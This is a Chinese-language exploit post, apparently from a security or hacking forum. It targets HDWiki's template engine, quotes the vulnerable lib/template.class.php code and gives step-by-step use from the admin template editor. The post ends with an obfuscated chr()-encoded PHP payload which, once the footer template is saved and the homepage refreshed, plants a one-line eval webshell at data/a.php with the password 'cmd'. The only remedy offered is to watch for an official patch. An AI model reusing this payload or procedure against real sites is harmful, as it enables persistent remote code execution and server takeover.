HDWiki采用了模板机制，模板编译后会保存到data/view目录下，为php文件，之后展现模板时又include之，导致可以拿webshell

漏洞代码在lib/template.class.php文件：

function display($file){//展现模板 by cnhackerx@163.com   GLOBAL $starttime,$mquerynum; $mtime = explode(' ', microtime()); $this->assign('runtime', number_format($mtime[1] + $mtime[0] - $starttime,6)); $this->assign('querynum',$mquerynum); extract($this->vars, EXTR_SKIP); include $this->gettpl($file); //注意，漏洞在这里，include之 by cnhackerx@163.com   } function gettpl($file){ if(substr($file,0,7)=="file://"){ $ppos=strrpos($file,"/"); $dir_name=explode('/',substr($file,7)); $this->tplfile = HDWIKI_ROOT."/".substr($file,7).'.htm'; $this->objfile = $this->objdir.'/'.$dir_name[1].'_'.substr($file,$ppos+1).'.tpl.php'; //保存的php模板文件位置 by cnhackerx@163.com   }else{ if($this->tplname!=='default'&&is_file($this->tpldir.'/'.$file.'.htm')){ $this->tplfile = $this->tpldir.'/'.$file.'.htm'; $this->objfile = $this->objdir.'/'.$this->tplname."_".$file.'.tpl.php';//保存的php模板文件位置 by cnhackerx@163.com   }else{ $this->tplfile = HDWIKI_ROOT.'/view/default/'.$file.'.htm'; $this->objfile = $this->objdir.'/'.$file.'.tpl.php';//保存的php模板文件位置 by cnhackerx@163.com   } } if($this->force || @filemtime($this->objfile) < @filemtime($this->tplfile)){ $this->complie(); } return $this->objfile; }   function complie() {//模板编译函数 by cnhackerx@163.com $template = file::readfromfile($this->tplfile); $template = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}", $template); $template = preg_replace("/\{lang.(\w+?)\}/ise", "\$this->lang('\\1')", $template); if('1'==$this->vars['setting']['seo_type'] && '1'==$this->vars['setting']['seo_type_doc']){ $template = preg_replace("/\{url.doc\-view\-(.+?)\['did'\]\}/ise", "\$this->stripvtag('{url doc-view-{eval echo urlencode(\\1[\'rawtitle\']);}}')", $template); } $template = preg_replace("/\{($this->var_regexp)\}/", "<?=\\1?>", $template); $template = preg_replace("/\{($this->const_regexp)\}/", "<?=\\1?>", $template); $template = preg_replace("/(?<!\<\?\=|\\\\)$this->var_regexp/", "<?=\\0?>", $template); $template = preg_replace("/\{\{eval (.*?)\}\}/ies", "\$this->stripvtag('<? \\1?>')", $template); $template = preg_replace("/\{eval (.*?)\}/ies", "\$this->stripvtag('<? \\1?>')", $template); $template = preg_replace("/\{for (.*?)\}/ies", "\$this->stripvtag('<? for(\\1) {?>')", $template); $template = preg_replace("/\{elseif\s+(.+?)\}/ies", "\$this->stripvtag('<? } elseif(\\1) { ?>')", $template); $template = preg_replace("/\{hdwiki:([^\}]+?)\/\}/ies", "\$this->hdwiki('\\1')", $template); for($i=0; $i<2; $i++) { $template = preg_replace("/\{hdwiki:(.+?)\}(.+?)\{\/hdwiki\}/ies", "\$this->hdwiki('\\1', '\\2')", $template); $template = preg_replace("/\{loop\s+$this->vtag_regexp\s+$this->vtag_regexp\s+$this->vtag_regexp\}(.+?)\{\/loop\}/ies", "\$this->loopsection('\\1', '\\2', '\\3', '\\4')", $template); $template = preg_replace("/\{loop\s+$this->vtag_regexp\s+$this->vtag_regexp\}(.+?)\{\/loop\}/ies", "\$this->loopsection('\\1', '', '\\2', '\\3')", $template); } $template = preg_replace("/\{if\s+(.+?)\}/ies", "\$this->stripvtag('<? if(\\1) { ?>')", $template); $template = preg_replace("/\{template\s+(\w+?)\}/is", "<? include \$this->gettpl('\\1');?>", $template); $template = preg_replace("/\{template\s+(.+?)\}/ise", "\$this->stripvtag('<? include \$this->gettpl(\\1); ?>')", $template); $template = preg_replace("/\{else\}/is", "<? } else { ?>", $template); $template = preg_replace("/\{\/if\}/is", "<? } ?>", $template); $template = preg_replace("/\{\/for\}/is", "<? } ?>", $template); $template = preg_replace("/$this->const_regexp/", "<?=\\1?>", $template); $template = "<? if(!defined('HDWIKI_ROOT')) exit('Access Denied');?>\r\n$template"; $template = preg_replace("/(\\\$[a-zA-Z_]\w+\[)([a-zA-Z_]\w+)\]/i", "\\1'\\2']", $template); $template = preg_replace("/\{url.(.+?)\}/ise", "\$this->url('\\1')", $template); $fp = fopen($this->objfile, 'w'); fwrite($fp, $template);//写入模板到php文件 by cnhackerx@163.com fclose($fp); }

利用方法：

后台风格设置--编辑模板--高级编辑

选"页尾(footer.htm)"，最后输入：

<?@eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59));?>

刷新首页，即在data下生成一句话木马a.php，密码为cmd.

漏洞补丁：关注官方最新补丁！